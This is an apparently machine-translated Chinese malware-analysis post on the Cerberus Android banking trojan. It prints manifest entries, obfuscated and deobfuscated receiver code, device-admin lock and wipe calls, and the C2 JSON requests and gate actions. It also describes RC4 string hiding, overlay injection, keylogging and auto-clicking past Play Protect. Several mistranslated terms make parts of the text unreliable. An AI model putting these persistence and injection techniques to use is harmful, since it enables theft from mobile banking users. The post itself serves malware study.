
从2020年开始,到今天,我们已经有了Android 9.0版Pie,Google在胸口跳动并说他们的产品受到保护。 但是反派不会睡觉,不会为Android创建自己的恶意软件。
随机地,我遇到了一个模糊的apk文件,这是一种名为“ Cerberus”的银行业恶意软件,它于2019年出现。
该僵尸网络的APK文件使用无效的服务器连接地址传给我,因此,该僵尸网络使用“模块化”系统并直接从其服务器加载功能,因此部分工作逻辑和功能仍未得到开发。
分析apk包
在分析了apk包之后,我编译了Trojan程序的结构:
- 接收器,自动运行+报警;
- 服务,以8秒为周期运行,它负责显示弹出消息以启用辅助功能,激活屏幕锁定功能和禁用管理员权限;
- 服务,从设备的传感器收集数据,因此恶意软件收到了设备的物理活动;
- 服务,周期性地锁定设备屏幕;
- 服务,负责与服务器交换数据;
- 活动,将HTML代码加载到WebView中,并显示内容,以代替银行应用程序的活动;
- 活动,请求危险的权限。
- 类,本身存储项目的主线(字符串)
让我们从清单开始
该应用程序的清单很有趣,您已经可以从中确定这不是简单的应用程序,而是普通的恶意软件。
例如,考虑对应用程序的权限:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/>
在这里,您可以看到该应用程序可以访问SMS,联系人,电话,互联网,并且该应用程序处于睡眠模式。
我们走得更远,看到特权使该应用程序成为接收/发送SMS的主要功能,这是用来在受害者电话上隐藏SMS消息的恶棍。
<activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service>
当然,Receiver可以自动启动服务并拦截SMS。
<receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
管理员权限,这已经更加有趣了。 应用程序需要它们阻止删除应用程序(启用管理员权限,该应用程序将根本没有“删除”按钮),并且这些权限将允许您从设备中删除所有内容并阻止设备。
<activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver>
好吧,最有趣的是可访问性服务。 它用于使恶意软件可以单击屏幕本身,并为其自身提供必要的权限,包括管理员权限。 通过此权限,攻击者可以监视设备上的所有用户操作。
<service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service>
好吧,如果没有有效的Malvari服务器地址,其余的服务和活动就没什么用了。
<activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/>
通常,该恶意软件不会使用任何超自然的东西,它不会在Android上使用任何0天。 攻击者需要从受害者那里获得一个许可,而无需再获得更多许可,那么恶意软件便会自己做所有事情。
Google将需要限制非播放应用程序的某些API功能。
接收者
此类的代码已被混淆,但这并不妨碍对其进行研究。
混淆码 public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } }
现在对代码进行一些解释。
Malvari设置存储在XML文件中,该文件位于目录
/data/data/package_name/shared_prefs/Settings.xml中- public String ReadXML-读取设置的方法
- public String SaveXML-保存设置的方法
- public boolean DozeMode-检查是否启用了打ze模式
- 公共类Service_fa扩展了Service-服务,用于组装设备的物理活动(台阶,摇动手机等)
- 公共类Service_server扩展Service-用于连接到服务器的服务
- 公共类Service_event_loop扩展Service-在无限循环中运行的服务,用于执行malvari的某些功能
- public void startOffDozeMode-请求禁用打ze模式
- public void startAlarm-每10秒启动接收器
- 公共无效拦截SMS-用于SMS拦截的方法
- public boolean isAccessibilityService-检查是否启用Accesibility服务的方法
- public boolean cis-一种阻止属于独联体国家的马尔瓦里河变流的方法,即:ua,ru,by,tj,uz,tm,az,am,kz,kg和md(国家的缩写)
我试图将上面的混淆代码变成一种更具可读性和正常的形式:
可读代码 public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent);
因此,我认为该代码已为许多读者所理解。
接收器有3个触发条件,分别是重新启动设备,接收SMS或Alarmon启动时。
接收器还启动3种服务:
- 收集设备的身体活动(Service_fa)
- 连接服务器的服务(Service_server)
- 以无限周期运行的服务,用于执行malvari的某些功能(Service_event_loop)
首先,启动Service_fa,并且只有在设备处于活动状态之后(如果手机的所有者在走路并且手机在晃动),才启动Service_server和Service_event_loop。 它们是恶意软件的主要过程,因此恶意软件可以从模拟器和接收器,影音设备等设备中剔除真实设备。
Receiver还会启动打ze模式断开连接请求和管理员确认请求。
由于该恶意软件具有管理员权限,因此只有在删除权限后才能将其从设备中删除。
管理员权限
让我们来看看使用管理设备带来的可能性。
<?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin>
force-lock元素负责锁定设备的屏幕锁定,擦除数据负责删除DATA,CACHE和设备上的所有内存(完全重置)。
Service_fa
这样,我们最终将着眼于Receiver,并考虑其他服务。 该服务使用SensorManager类从传感器传感器获取数据,该服务仅接收活动数据并将其保存到XML文件中。
因此,恶棍将能够获取活动历史并对其进行分析,以淘汰模拟器,尤其是懒惰的用户。
服务服务器
创建此流是为了与服务器进行通信,使用RC4加密算法以加密的形式将数据传输到服务器,该算法对base64之后的所有内容进行编码。
服务启动时,对服务器的第一个请求如下所示:
{ "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" }
我以参数名称的名义随机填充了发送到服务器的数据,我认为一切都清楚是由谁负责,我们不会停止对其进行分析。
现在我们看一下服务器响应是什么,恶意软件会检查是否返回空答案,如果是,那么它将开始循环遍历服务器域数组并将此请求发送到每个域,并且响应中是否包含==“〜I〜”行,恶意软件会在此域停止并开始使用它。
我们已经确定了要使用的领域,现在我们在寻找其余的答案。
如果响应==“ || youNeedMoreResources ||”,则返回 然后立即向服务器发出请求以获取其他malvari模块:
gate_url?操作= getModule和数据= {“ idbot”:“ qoietjeoisfhjdfhk”}继续,响应==“ ||否||”
向服务器发送gate_url?操作=注册和数据= JSON请求:
{ "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" }
该请求用于在管理面板中注册新用户,这是服务器请求的结尾。
但是下面有一个条件检查“ system.apk”文件的存在。
混淆代码:
if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}
简化代码:
if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}
如果文件存在,则以以下形式生成JSON:
{ "params":"updateSettingsAndCommands", "response":"data" }
来自服务器的响应传递给response参数,然后将json传递给system.apk模块中的方法,并使用DexClassLoader类执行该方法。
Service_event_loop
该服务循环运行,并等待命令阻止设备。 使用管理员权限将设备阻止在循环中。
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow();
该服务可以禁用管理员权限,显然,恶意软件的作者决定为恶意软件的“自毁”进行此操作,以免在受害者的电话上留下痕迹。
ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName);
此外,该周期具有2秒的运行速度,分别为1秒和8秒,如果禁用了无障碍服务,它将在第一秒开始工作并要求启用此服务,只需打开``活动''并强制启用特殊功能,实际上我们将对此进行详细考虑。
在周期的最后,还有一个类似于Service_server的实现,但具体是将命令发送到已加载模块“ system.apk”内部的方法,但是参数没有太大不同,请参阅JSON:
{ "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" }
勾号-服务周期计数的秒数,可访问性-检查是否启用了Accesibility Service。
类字符串
该类中的所有行都使用RC4算法加密,然后以base64编码。
一个例子:
加密的字符串:yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
其中straka的前12个字符是RC4算法的解密密钥
钥匙:yyshybiwijuj
密文:YzdkZDdkMjRlYjJmYjU5Y2Qw
这是类代码String的一部分
public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");
我编写了一个脚本,将这些行转换为正常格式,这帮助我度过了一段时间。
public final String str_statMails = "statMails"; public final String str_activeDevice = "activeDevice"; public final String str_timeWorking = "timeWorking"; public final String str_statDownloadModule = "statDownloadModule"; public final String str_lockDevice = "lockDevice"; public final String str_offSound = "offSound"; public final String str_keylogger = "keylogger"; public final String str_activeInjection = "activeInjection"; public final String str_timeInject = "timeInject";
我们还看到了存储在此类中的内容:
public final String str_url = "https://twitter.com/LukasStefanko"; public final String str_Accessibility = "Flash Player Service"; public final String str_gate1 = "action=registration&data="; public final String str_gate2 = "action=sendInjectLogs&data="; public final String str_gate3 = "action=sendSmsLogs&data="; public final String str_gate4 = "action=timeInject&data="; public final String str_gate5 = "action=sendKeylogger&data="; public final String str_gate6 = "action=getModule&data="; public final String str_gate7 = "action=checkap&data="; public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";
卢卡斯·斯特凡科(Lukas Stefanko)的Twitter帐户(@LukasStefanko)列在服务器URL上,显然作者想开玩笑或对卢卡斯(这是NOD32的分析师)说些话,名称Accessibility Service +也存储在清单清单android中:label =“ Flash Player服务”,以及恶意软件无法使用的国家/地区列表。
其余的
简要介绍注射剂的工作。 如果启用了“无障碍服务”,则该服务的实现非常简单,该服务仅捕获启动银行应用程序的事件并在银行的活动之上启动其活动,该服务具有一个WebView对象,该对象下载银行的html-fake,然后使用JavaScript接收数据并将其发送到Malvari服务器。
此服务中还实现了Keylogger,阻止了恶意软件的删除并自动单击确认。 在com.miui.securitycenter应用程序中检测到安全断开连接交互。 此应用程序称为“安全性”,用于小米设备,其主要任务是监视敏感数据的安全性。 还发现了使用autoclick方法自动关闭“ Google Play保护”的代码。
让我们继续练习
我设法找到了恶棍推特,并获得了管理面板的屏幕截图

将apk软件包安装在具有API 27的仿真器上。
桌面上出现了一个名为“ Flash Player”的Flash Player图标。
我们正在等待图标,我们已经启动了恶意软件。
启动Malvari后,活动会自动以启用无障碍服务的要求开始,如果将其最小化,它将再次出现,并且会循环出现,直到我打开该服务为止。
启用“无障碍服务”复选框后,执行了从设置到桌面的自动转换,我再也无法进入“无障碍服务”设置,桌面图标也消失了,在出现“打ze模式关闭”请求几秒钟后,由于自动单击特殊功能,它自动关闭了。
接下来以相同的方式自动确认管理员权限。 无法手动删除该恶意软件,因为在打开此应用程序的设置时,它会自动退出(GLOBAL_ACTION_BACK)。
实际上,这都是第一部分中的全部内容,我很快将在第二部分中加上此Bot的主要模块(可能还有该模块的主要模块),因为我找不到带有有效链接到服务器的恶意软件的apk文件。
Malvari反向与
keklick1337结合
实现